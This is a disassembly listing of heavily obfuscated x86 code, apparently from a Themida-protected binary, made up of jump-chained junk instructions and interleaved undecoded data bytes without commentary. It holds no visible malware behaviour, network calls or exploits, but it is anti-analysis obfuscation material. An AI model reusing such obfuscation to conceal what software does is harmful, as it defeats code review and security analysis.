		mov	eax, 9B71388h
		xor	[esp+4], eax
		pop	eax
		pop	ebx
		jmp	loc_55823F
; ---------------------------------------------------------------------------
		dd 0FF24EB80h, 76E92434h, 0FF000039h, 669D1C77h, 1CD36659h
		dd 0E9E99C24h, 29FFFFB0h, 11A305E8h, 0A0055E86h, 8B240F6Ah
		dd 0E956242Ch, 6FEh, 0F24248Bh,	0EC83C8BEh, 241C8904h
		dd 0C3815B54h, 4, 8904EC83h, 0A3E92414h, 5B00000Ah, 0C7E9D801h
		dd 2DFFFFFCh, 25DA77D1h, 0FC075305h, 4237E97Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551156:				; CODE XREF: Themida_:00555CD5j
		push	edx
		mov	edx, esp
		push	ecx
		push	3F28h
		mov	[esp], edx
		jmp	loc_54F0FA
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8904ECh, 4B924h, 0D0E90000h, 5C000038h, 31240433h
		dd 4332404h, 3538E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551186:				; CODE XREF: Themida_:005571C3j
		pop	edx
		jmp	loc_552A73
; ---------------------------------------------------------------------------

loc_55118C:				; CODE XREF: Themida_:005552E0j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_550C44
; ---------------------------------------------------------------------------
		db 54h,	5Eh, 81h
		dd 4C6h, 1FF26800h, 0C890000h, 2B924h, 46E90000h, 81000041h
		dd 0E6E06AF5h, 6AA02D61h, 0BB53240Fh, 5E8611A3h, 0AFE9D829h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_5511C7:				; CODE XREF: Themida_:005528BBj
		mov	[esp], ebx
		mov	ebx, 2BC36409h
		jmp	loc_55023E
; ---------------------------------------------------------------------------
		dd 0E9028864h, 0FFFFB018h, 2414F756h, 0FFBD9AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5511E5:				; CODE XREF: Themida_:00555155j
		mov	ecx, [esp]
		jmp	loc_5556A1
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aRh		db '$Rh}',0
		db 2 dup(0), 54h
		dd 8124048Fh, 42404h, 148B0000h, 4C48124h, 81000000h, 4C2h
		dd 26E6E900h, 0E3890000h, 4C381h, 0C3830000h, 241C3304h
		dd 33241C31h, 248B241Ch, 24040124h, 0AFBEE99Ch,	4BEFFFFh
		dd 1000000h, 0FF535EF3h, 0E9042474h, 0FFFFD3A6h
; ---------------------------------------------------------------------------

loc_551248:				; CODE XREF: Themida_:0055262Aj
		sub	bl, 0CAh
		pop	eax
		movzx	eax, al
		jmp	loc_552384
; ---------------------------------------------------------------------------
		dd 0EA22EDBFh, 10EF817Ah, 8153DE3Eh, 7C44FEF7h,	0F02BE922h
		dd 483FFFFh, 0B4E90424h, 33FFFFDAh, 14312414h, 24143324h
		dd 2434875Ch, 1489665Ch, 6CB7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55128A:				; CODE XREF: Themida_:00557206j
		mov	esi, 5AB96792h
		sub	eax, 4CC55F0Bh
		add	eax, esi
		push	ecx
		push	ebp
		mov	ebp, 4CC55F0Bh
		mov	ecx, ebp
		pop	ebp
		sub	eax, 369A09F2h
		add	eax, ecx
		add	eax, 369A09F2h
		jmp	loc_55679C
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0EEC0B7B6h, 0E8C68005h, 0E96BF680h, 0FFFFE9DAh, 3667BF57h
		dd 0BA522F6Eh, 3B673ADFh, 66E9DAF7h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5512D7:				; CODE XREF: Themida_:0054EBD2j
		add	ebx, ebp
		add	ebx, 286A73F4h
		pop	ebp
		add	ebx, 4
		jmp	loc_554ED8
; ---------------------------------------------------------------------------

loc_5512E8:				; CODE XREF: Themida_:00555267j
		xor	ebx, eax
		jmp	loc_54D885
; ---------------------------------------------------------------------------
		db 84h
		dd 0FDE99CC8h, 68FFFFAEh, 4D13h, 0BF243C89h, 2,	3C8BFA01h
		dd 0D8C9E924h, 895CFFFFh, 5F54243Ch, 4B951h, 0C7810000h
		dd 59A51A09h, 0EF81CF01h, 59A51A09h, 2BD5559h, 1000000h
		dd 0AAE95DEFh, 0BB000030h, 1DBE0577h, 15BDF29h,	0E8B4E9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551346:				; CODE XREF: Themida_:0054F8FFj
		and	eax, ecx
		jmp	loc_55253D
; ---------------------------------------------------------------------------

loc_55134D:				; CODE XREF: Themida_:005546D7j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	359Ah
		mov	[esp], ebp
		jmp	loc_5502DD
; ---------------------------------------------------------------------------
		db 1, 0FEh, 8Bh
		dd 0C483243Ch, 142DE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551382:				; CODE XREF: Themida_:0054FF0Bj
		xor	cl, 38h
		inc	cl
		sub	cl, 10h
		or	cl, 0ADh
		xor	cl, 11h
		sub	bl, cl
		pop	ecx
		pop	edx
		add	bl, 0D0h
		add	bl, al
		sub	bl, 0D0h
		sub	bl, 96h
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 24048704h, 2434FF5Ch, 0FFF448E9h, 4C483FFh, 39F4E953h
		dd 0CB810000h, 4F4252A2h, 573DE9h
		db 0
; ---------------------------------------------------------------------------

loc_5513CD:				; CODE XREF: Themida_:00555F55j
		add	esp, 4
		add	eax, 23F11F26h
		neg	eax
		add	eax, 0BAD5D626h
		mov	edi, eax
		pop	eax
		add	edi, 774F7C79h
		not	edi
		jmp	loc_54CA28
; ---------------------------------------------------------------------------

loc_5513EF:				; CODE XREF: Themida_:0054FA19j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_550375
; ---------------------------------------------------------------------------
		dw 0DF31h
		dd 81241C8Bh, 4C4h, 5FF82900h, 38BD5552h, 0BA2DA147h, 0DDD03512h
		dd 0FFDD6AE9h, 4C6B0DFFh, 25351284h, 0E962701Fh, 624Ch
; ---------------------------------------------------------------------------

loc_551434:				; CODE XREF: Themida_:0054C218j
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_5507CC
; ---------------------------------------------------------------------------
		db 88h
		dd 0FE585AD3h, 0F820E9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55144E:				; CODE XREF: Themida_:0054FFA2j
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_554771
; ---------------------------------------------------------------------------
		dd 4244C01h, 2434FF59h,	5024148Bh, 405E089h, 5000000h
		dd 4, 5C240487h, 1244E9h
		db 0
; ---------------------------------------------------------------------------

loc_551481:				; CODE XREF: Themida_:00556D53j
		mov	ecx, [eax]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_550BC8
; ---------------------------------------------------------------------------

loc_55148E:				; CODE XREF: Themida_:00553BDEj
		xor	ebp, 0BD4CE277h
		jmp	loc_54EBCC
; ---------------------------------------------------------------------------

loc_551499:				; CODE XREF: Themida_:00550E25j
		mov	ebx, esp
		add	ebx, 4
		push	edx
		push	eax
		mov	eax, 4
		mov	edx, eax
		pop	eax
		add	ebx, edx
		jmp	loc_552455
; ---------------------------------------------------------------------------

loc_5514B2:				; CODE XREF: Themida_:0055037Bj
		push	ecx
		mov	ecx, 58B475C3h
		inc	ecx
		not	ecx
		shr	ecx, 6
		sub	ecx, 1
		jmp	loc_54DB44
; ---------------------------------------------------------------------------

loc_5514C6:				; CODE XREF: Themida_:00554AB7j
		add	eax, 0FFFFFFFFh
		jmp	$+5
		add	eax, 0DEC9AFD5h
		xor	edi, eax
		pop	eax
		jmp	loc_551693
; ---------------------------------------------------------------------------

loc_5514DD:				; CODE XREF: Themida_:005571B0j
		pop	ebx
		push	ecx
		mov	ecx, 56461E50h
		xor	ecx, 56461E54h
		add	ebx, ecx
		jmp	loc_54C90C
; ---------------------------------------------------------------------------
aAiSdo		db '€ëÝé¤O',0
		db 0
; ---------------------------------------------------------------------------

loc_5514F9:				; CODE XREF: Themida_:0054EAE4j
		push	4382h
		mov	[esp], edx
		push	564Eh
		jmp	loc_54E1C8
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFACE4h, 24148758h, 24048F5Ch, 8C6E9h, 241C3300h
		dd 4AC7E9h, 2E02B800h, 330D59F7h, 2D467578h, 0FFFFFFFFh
		dd 0C083D0F7h, 5C9F3501h, 0DEE91461h, 56FFFFB9h, 21BE952h
		dd 0E9C10000h, 1DC18103h, 817372DEh, 3E35B6C3h,	81CB2939h
		dd 3E35B6EBh, 0D5A8E939h, 0EC81FFFFh, 4, 89243489h, 215E9E6h
		dd 1C8B0000h, 2656E924h, 0EF810000h, 102A3A81h,	0F6EE9h
		db 0
; ---------------------------------------------------------------------------

loc_551589:				; CODE XREF: Themida_:00556320j
		mov	ebx, 458E6D2Dh
		push	edi
		mov	edi, ebx
		mov	ecx, edi
		jmp	loc_5563C4
; ---------------------------------------------------------------------------

loc_551598:				; CODE XREF: Themida_:0054C907j
		mov	eax, 0
		sub	eax, ebp
		jmp	loc_553BDC
; ---------------------------------------------------------------------------

loc_5515A4:				; CODE XREF: Themida_:00551F44j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54CF36
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 4C481h, 81520000h, 4ECh, 24248900h, 400FE9h
		db 0
; ---------------------------------------------------------------------------

loc_5515CD:				; CODE XREF: Themida_:005573E1j
		pop	edx
		xor	eax, 44726867h
		jmp	loc_54E3D8
; ---------------------------------------------------------------------------
		dd 0ADE0E95Bh, 0E95FFFFFh, 0FFFFCE6Ah, 4C181h, 0E9830000h
		dd 240C8704h, 2434895Ch, 154BE9h
		db 0
; ---------------------------------------------------------------------------

loc_5515F9:				; CODE XREF: Themida_:005500C1j
		mov	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_54D908
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 24048B24h, 4C481h, 36E90000h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55161B:				; CODE XREF: Themida_:0054E449j
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54D9C6
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4C4h, 4C48100h, 31000000h, 0E99C2404h, 0FFFFABB4h, 243C3166h
		dd 243C3366h, 243C3166h, 2EC81h, 89660000h, 1FE9243Ch
		dd 8100001Ch, 0A0411BCFh, 6AB7E933h, 89E90000h,	50FFFFABh
		dd 3744E1B8h, 3E8C129h,	2414F750h, 0FFF307E9h, 24148BFFh
		dd 5E08950h, 4,	8704C083h, 30E92404h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_551693:				; CODE XREF: Themida_:005514D8j
		sub	ebp, edi
		pop	edi
		push	122Ch
		mov	[esp], ebx
		mov	ebx, 0
		sub	ebx, ebp
		mov	ebp, ebx
		pop	ebx
		or	ebp, 51064E82h
		push	edx
		mov	edx, 4AC964D0h
		add	ebp, edx
		pop	edx
		push	ecx
		mov	ecx, 28406422h
		sub	ebp, ecx
		pop	ecx
		and	ecx, ebp
		jmp	loc_55552C
; ---------------------------------------------------------------------------
		db 5Ch
		dd 815B5453h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 33E9241Ch
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5516E3:				; CODE XREF: Themida_:005521A9j
		push	ecx
		mov	ch, 0A9h
		push	ecx
		mov	ch, 0A4h
		jmp	loc_552BC8
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0F7243C89h, 0E95F241Ch, 3C22h
; ---------------------------------------------------------------------------

loc_551700:				; CODE XREF: Themida_:00553BE6j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55623B
; ---------------------------------------------------------------------------
		dw 0C15Fh
		dd 0E58108EDh, 3AFB0F33h, 80BE564Dh, 0E947B16Bh, 0FFFFE5B6h
		dd 0AED6E940h, 0CAFEFFFFh, 8043EA80h, 75E907EAh, 81000041h
		dd 4C6h, 4C68100h, 87000000h, 248B2434h, 4C48124h, 68000000h
		dd 113Ah, 2FE6E9h, 0C3815F00h, 3F965F26h, 0FFF3D3E9h, 0F75A5EFFh
		dd 0F7D687D2h, 2EEC1D6h, 9EBFF681h, 0F009020Ch,	8124348Bh
		dd 4C4h, 1B593500h, 54E90740h, 81FFFFDCh, 4ECh,	0B477E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551796:				; CODE XREF: Themida_:0055448Dj
		pop	edx
		add	edi, 37743664h
		add	edi, 72E77ADCh
		sub	edi, esi
		sub	edi, 72E77ADCh
		sub	edi, 37743664h
		mov	esi, [esp]
		jmp	loc_554723
; ---------------------------------------------------------------------------
		db 0C1h, 0E7h, 6
		dd offset byte_5A37E9
		dd 76E78000h, 0C780C7FEh, 5BFE8829h, 7FE910B3h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5517D3:				; CODE XREF: Themida_:00550279j
		mov	ax, 485h
		xor	ax, 2369h
		jmp	loc_550141
; ---------------------------------------------------------------------------
		dd 8868F6B0h, 8900005Ah, 7FB22414h, 732E952h, 0F6810000h
		dd 5344C5h, 1AE9F701h, 0B1FFFFC4h, 8FE9802Ah, 0F180C9FEh
		dd 0B2B753CFh, 0FED5EF80h, 80D7F6CFh, 0F9200AC7h, 0E80E95Bh
		dd 0E6890000h, 4C681h, 0C6830000h, 0CCFAE904h, 77FFFFFFh
		dd 59669D1Ch, 9C241CD2h, 5207E9h, 66AD6600h, 0E957D831h
		dd 4266h, 4C481h, 0B2680000h, 8900005Fh, 5E542434h, 1630E9h
		dd 0BB535200h, 550428BFh, 7B3E9h, 8BFB0100h, 0C483243Ch
		dd 4C38304h, 5C241C87h,	40FBE9h
		db 0
; ---------------------------------------------------------------------------

loc_55187D:				; CODE XREF: Themida_:0054DE04j
		add	ebp, 1
		jmp	loc_54E5A0
; ---------------------------------------------------------------------------
		db 0B9h, 16h, 77h
		dd 0E181577Bh, 1A8D20BDh, 0F1FF181h, 0A4E95DC5h, 53FFFFADh
		dd 0DD8848B3h, 81241C8Bh, 4C4h,	0B07EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5518AE:				; CODE XREF: Themida_:00557D89j
		pop	cx
		push	ebx
		mov	bl, 25h
		jmp	loc_550563
; ---------------------------------------------------------------------------
		dd 4C681h, 34870000h, 0D8D1E924h, 0FF57FFFFh, 5F042474h
		dd 5C24048Fh, 6BEDE9h
		db 0
; ---------------------------------------------------------------------------

loc_5518D5:				; CODE XREF: Themida_:00557F9Bj
		and	edi, 57D43F8h
		add	edi, 0FAD5E7D8h
		xor	eax, edi
		pop	edi
		and	ecx, eax
		pop	eax
		shr	ecx, 0Bh
		jmp	loc_5537DD
; ---------------------------------------------------------------------------
		db 56h
		dd 9213AA68h, 0F6815E0Dh, 7436BEFh, 2935E9h, 0EDE95C00h
		dd 66FFFFA8h, 83240C8Bh, 48904ECh, 56E08924h, 0FFBBD5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551919:				; CODE XREF: Themida_:005571F3j
		sub	edx, 462A6A41h
		jmp	loc_54F037
; ---------------------------------------------------------------------------
		dd 582434FFh, 57C0E9h, 0A6BE5600h, 0F7538838h, 0D390E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55193A:				; CODE XREF: Themida_:0054E94Cj
		mov	ebp, ebx
		pop	ebx
		sub	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		jmp	loc_54E5CE
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 35BEE9h, 241C3300h, 33241C31h, 665C241Ch,	5324048Bh
		dd 0BF575B54h, 633648B3h, 5F34EF81h, 0E94F6254h, 0FFFFFD76h
		dd 8684EF81h, 0B0E94A02h, 0BF000036h, 20295CF5h, 4D4E781h
		dd 0EF8133DCh, 5BC339FCh, 8105E7C1h, 206A30EFh,	7BC7811Eh
		dd 81F13272h, 3004246Ch, 102AB0Ch, 8104247Ch, 30042444h
		dd 5F02AB0Ch, 0FFD782E9h, 24048BFFh, 53E08950h,	2D1A10BBh
		dd 92E3817Dh, 0E97BE326h, 28D6h, 0E9243C8Bh, 5278h, 24048B66h
		dd 4EC81h, 2C890000h, 50E58924h, 0AB2CB0B8h, 4E80E947h
		dd 8F5C0000h, 248B2404h, 6917E924h, 4050000h, 5000000h
		dd 4, 5C240487h, 0FF2434FFh, 8E92434h, 0FF000004h, 815D2434h
		dd 4C4h, 4EC8300h, 615BE9h, 8FBE5600h, 311D7FA3h, 0D808E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551A3A:				; CODE XREF: Themida_:00553DDCj
		xor	eax, 2E66662h
		xor	eax, 7D66066Dh
		add	eax, 79D820C3h
		jmp	loc_551FA9
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 4C281h, 98E90000h,	81FFFFF8h, 4C4h, 75FC6800h
		dd 0C890000h, 4B924h, 0CB010000h, 0FFD5A3E9h, 5E3568FFh
		dd 2C890000h, 430ABD24h, 0EDC118A3h, 4CED8105h,	8103B45Fh
		dd 847C28EDh, 0C581455Fh, 0CB3812C0h, 815DEF89h, 0B06B3F7h
		dd 0A0EB8158h, 8104996Ch, 2C4EB5C3h, 81FB291Ah,	2C4EB5EBh
		dd 0A0C3811Ah, 5F04996Ch, 1E7D6866h, 24148966h,	39B45053h
		dd 88B7F480h, 0DB8CE9E3h, 0C7B9FFFFh, 290DFE20h, 5904244Ch
		dd 57240401h, 0FE20C7BFh, 247C010Dh, 89685F04h,	89000038h
		dd 0B9512404h, 5CEA5829h, 9259C889h, 0D16CE942h, 0BB53FFFFh
		dd 7BC95D3Fh, 0E95BDE89h, 66C7h, 8EAC059h, 8AE95166h, 0BD00002Bh
		dd 539F54C3h, 0DEE9DDF7h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_551B2B:				; CODE XREF: Themida_:00558118j
		mov	[esp], edx
		jmp	loc_5507BA
; ---------------------------------------------------------------------------
		db 89h
		dd 0E955243Ch, 0FFFFBC48h, 0B450C3FEh, 0E9DCF638h, 0FFFFCC91h
		dd 24E9E829h, 81FFFFD2h, 275CA7E6h, 7F68157h, 1412148h
		dd 0FF575EF7h, 0E9042474h, 11D3h, 57A5BF57h, 0CF814EADh
		dd 39AE7B0Ch, 258DC781h, 3E9406Fh, 0BB00004Bh, 4, 2488E9h
		dd 0A666E900h, 8B66FFFFh, 3A682404h, 89000046h,	9D682414h
		dd 8900003Eh, 4832424h,	815A0424h, 4C2h, 48536800h, 2BE90000h
		dd 88000049h, 5BDC88F3h, 24865B5Ah, 0A62EE924h,	6855FFFFh
		dd 6489403Ah, 81DDF75Dh, 76BFC2F5h, 5DEF899Bh, 6A744A2Dh
		dd 3034E900h, 0B1BA0000h, 564B9622h, 0F937E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551BEE:				; CODE XREF: Themida_:0054CCCFj
		mov	eax, 2
		add	ebp, eax
		jmp	loc_553D01
; ---------------------------------------------------------------------------
		dw 32FFh
		dd 0FFA5F3E9h, 48B66FFh, 0E9545224h, 0FFFFFE42h, 8124048Fh
		dd 42404h, 348B0000h, 61506824h, 14890000h, 0E1E95424h
		dd 0BEFFFFC9h, 2, 4DBDE9h, 8BFE0100h, 0FCE9243Ch
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------

loc_551C3B:				; CODE XREF: Themida_:0055429Fj
		mov	ecx, 208B16B7h
		add	ebp, ecx
		pop	ecx
		pop	edx
		jmp	loc_552678
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 6Eh
		dd 10EC02Ch, 6EC581FDh,	0E90EC02Ch, 0FFFFCF06h,	7CB168h
		dd 241C8900h, 860C9668h, 241C8B45h, 8104C483h, 0CC1784C3h
		dd 81D3F755h, 0ED53F1EBh, 0FFDD89F8h, 0FCE92434h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551C87:				; CODE XREF: Themida_:00555C98j
		mov	esi, [esp]
		jmp	loc_556E4A
; ---------------------------------------------------------------------------
		db 81h
		dd 222ADCC5h, 1DB85050h, 81AB7E86h, 0AC1CDCC5h,	0E9C50140h
		dd 1D3Dh, 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFA53Ch
; ---------------------------------------------------------------------------

loc_551CB8:				; CODE XREF: Themida_:0054F2B9j
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5530E2
; ---------------------------------------------------------------------------

loc_551CC3:				; CODE XREF: Themida_:005560F2j
		pop	ebx
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	98Bh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_555610
; ---------------------------------------------------------------------------
		db 58h
		dd 405h, 3A5F6800h, 14890000h, 5E46BA24h, 0D6E93353h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551D0F:				; CODE XREF: Themida_:00550FF6j
		mov	ax, 5A18h
		or	cx, ax
		pop	ax
		jmp	loc_54D521
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 0E904C483h, 0FFFFA4CCh
; ---------------------------------------------------------------------------

loc_551D28:				; CODE XREF: Themida_:005533FEj
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	6825h
		jmp	loc_55467F
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 33000000h, 4312404h,	24043324h, 1C40E9h, 58C33100h
		dd 34FFDF29h, 0C4815B24h, 4, 0E906E7C1h, 0FFFFD22Eh, 0E92434FFh
		dd 1BFEh, 0E9243C8Bh, 643Fh, 24048F5Ah,	0FFE479E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551D7D:				; CODE XREF: Themida_:005582E0j
		add	eax, 2866C294h
		jmp	loc_551E96
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 89525824h, 1433E9E2h, 52AC0000h, 88515AB6h
		dd 0F6C586F5h, 88C586D0h, 0E6C059EEh, 3E6C003h,	2856F680h
		dd 24148BF0h, 0FFADEBE9h, 85C181FFh, 1F9DCCEh, 240C8BC8h
		dd 4C481h, 8E90000h, 87FFFFC5h,	0F5C2434h, 5FE9C8BFh
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551DDB:				; CODE XREF: Themida_:0054D2F7j
		mov	[esp], ecx
		jmp	loc_54F3C4
; ---------------------------------------------------------------------------
		db 5Ch
		dd 9C240CFEh, 0FFB7C7E9h, 0E18951FFh, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 3DA2E9h, 0D4EA8100h, 5D5D1B27h, 8B241487h
		dd 54662424h, 48B0E9h, 4497BD00h, 8DE97427h, 58000056h
		dd 4C481h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	40F3h
		mov	[esp], edi
		jmp	loc_54DF64
; ---------------------------------------------------------------------------
		dd 794D76BDh, 0CFED814Ch, 81041963h, 0AFAA5CF5h, 5DE80970h
		dd 5B81E9h, 0EBC15B00h,	2EBC106h, 8415C381h, 0DD890736h
		dd 33B9515Bh, 92E8F59h,	2434FFCDh, 4C48159h, 0C1000000h
		dd 0ED8103E5h, 0FFFFFFFFh, 5912E9h
		db 0
; ---------------------------------------------------------------------------

loc_551E89:				; CODE XREF: Themida_:00557DF9j
		push	3A9Ch
		mov	[esp], eax
		jmp	loc_556413
; ---------------------------------------------------------------------------

loc_551E96:				; CODE XREF: Themida_:00551D82j
		or	esi, eax
		pop	eax
		and	esi, 17313AE9h
		shr	esi, 6
		sub	esi, offset byte_4CC40B
		mov	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	ebx, 3336349Ch
		add	ebx, eax
		add	ebx, 3336349Ch
		mov	[ebx], dl
		jmp	loc_550EDE
; ---------------------------------------------------------------------------
		db 0F6h, 0D8h, 34h
		dd 1A7CE95Eh, 0C4830000h, 0F983E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551EDA:				; CODE XREF: Themida_:0055400Cj
		xor	edi, 426B3E8Ah
		jmp	loc_557F99
; ---------------------------------------------------------------------------

loc_551EE5:				; CODE XREF: Themida_:0054FC33j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	5506h
		jmp	loc_54FD30
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4F04C483h, 0FFF0F2E9h, 68FFh, 0EBE90000h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_551F13:				; CODE XREF: Themida_:0054E81Dj
		sub	ebp, 17FA5ECBh
		jmp	loc_557A7B
; ---------------------------------------------------------------------------
		dw 0E945h
		dd 6000h, 0F6242486h, 242486D4h, 23FFE9h, 4C38100h, 57000000h
		dd 0FFE09EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551F3D:				; CODE XREF: Themida_:0054CE70j
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_5515A4
; ---------------------------------------------------------------------------

loc_551F49:				; CODE XREF: Themida_:00550F97j
		pop	esp
		push	esi
		jmp	loc_554E7E
; ---------------------------------------------------------------------------
		dd 4EC81h, 2C890000h, 35F66824h, 815D6FD1h, 9756FCE5h
		dd 0FFC5813Ah, 81FFFFFFh, 3DFAC5EDh, 5DEB8922h,	50FE9h
		dd 148B5400h, 4C48124h,	53000000h, 0AE5CC168h, 3A09E93Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551F8E:				; CODE XREF: Themida_:0054F314j
		dec	eax
		jmp	loc_554812
; ---------------------------------------------------------------------------

loc_551F94:				; CODE XREF: Themida_:0054D063j
		add	dword ptr [esp], 4
		jmp	loc_550865
; ---------------------------------------------------------------------------
		db 0E9h, 52h, 0A2h
		dd 0EB5FFFFh, 3FBCE9h
		db 0
; ---------------------------------------------------------------------------

loc_551FA9:				; CODE XREF: Themida_:00551A49j
		shl	eax, 4
		add	eax, 0BBE62664h
		jmp	loc_54C664
; ---------------------------------------------------------------------------

loc_551FB6:				; CODE XREF: Themida_:0054FF02j
		pop	ecx
		push	edi
		mov	edi, esi
		mov	ebp, edi
		pop	edi
		mov	esi, [esp]
		add	esp, 4
		add	eax, ebp
		pop	ebp
		push	esi
		push	ecx
		mov	ecx, 22AC785Bh
		push	ecx
		mov	ecx, 22AC786Bh
		mov	esi, ecx
		pop	ecx
		sub	esi, ecx
		pop	ecx
		and	ebx, esi
		push	dword ptr [esp]
		jmp	loc_5574E1
; ---------------------------------------------------------------------------
		db 89h
		dd 9BB82404h, 0E97CFC14h, 6Bh, 0E98002B1h, 59CA2803h, 0FFB43EE9h
		dd 0C8B66FFh, 0D433E924h, 0C481FFFFh, 4, 0E9241C87h, 520Ch
; ---------------------------------------------------------------------------

loc_552014:				; CODE XREF: Themida_:00552FC5j
		mov	edi, ecx
		pop	ecx
		jmp	loc_54D1D9
; ---------------------------------------------------------------------------
		dd 241CF753h, 1C3815Bh,	4B000000h, 28C1C381h, 0DA895504h
		dd 0AB97E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552036:				; CODE XREF: Themida_:00555EB5j
		push	6629h
		jmp	loc_54EDD5
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 0EDE92434h, 45FFFFDFh, 2042ED81h, 0E929DB9Ch
		dd 9DE95D5Dh, 40000054h, 9CFE4635h, 1BC381AFh, 29698526h
		dd 1BEB81C3h, 58698526h, 437EE9h
		db 0
; ---------------------------------------------------------------------------

loc_552075:				; CODE XREF: Themida_:00554382j
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 2
		dd 5C241C87h, 3037E9h, 0F9685D00h, 89000002h, 7CE92404h
		dd 0FF000049h, 33E92434h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5520AB:				; CODE XREF: Themida_:0055836Bj
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_54F5B0
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5EE9C729h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------

loc_5520BF:				; CODE XREF: Themida_:005508BEj
		jz	loc_550DCF
		push	dword ptr [edi+28h]
		push	edx
		mov	edx, 6ED906CCh
		sub	dword ptr [esp+4], 59367617h
		add	[esp+4], edx
		push	esi
		jmp	loc_54EE2A
; ---------------------------------------------------------------------------
		dd 52D830ACh, 0B7535253h, 35EF80FEh, 8004E7C0h,	0CAE9FFEFh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5520F7:				; CODE XREF: Themida_:0054FDBCj
		xchg	edi, ebx
		sub	ebx, 69F86B05h
		add	edx, ebx
		jmp	loc_557CA7
; ---------------------------------------------------------------------------

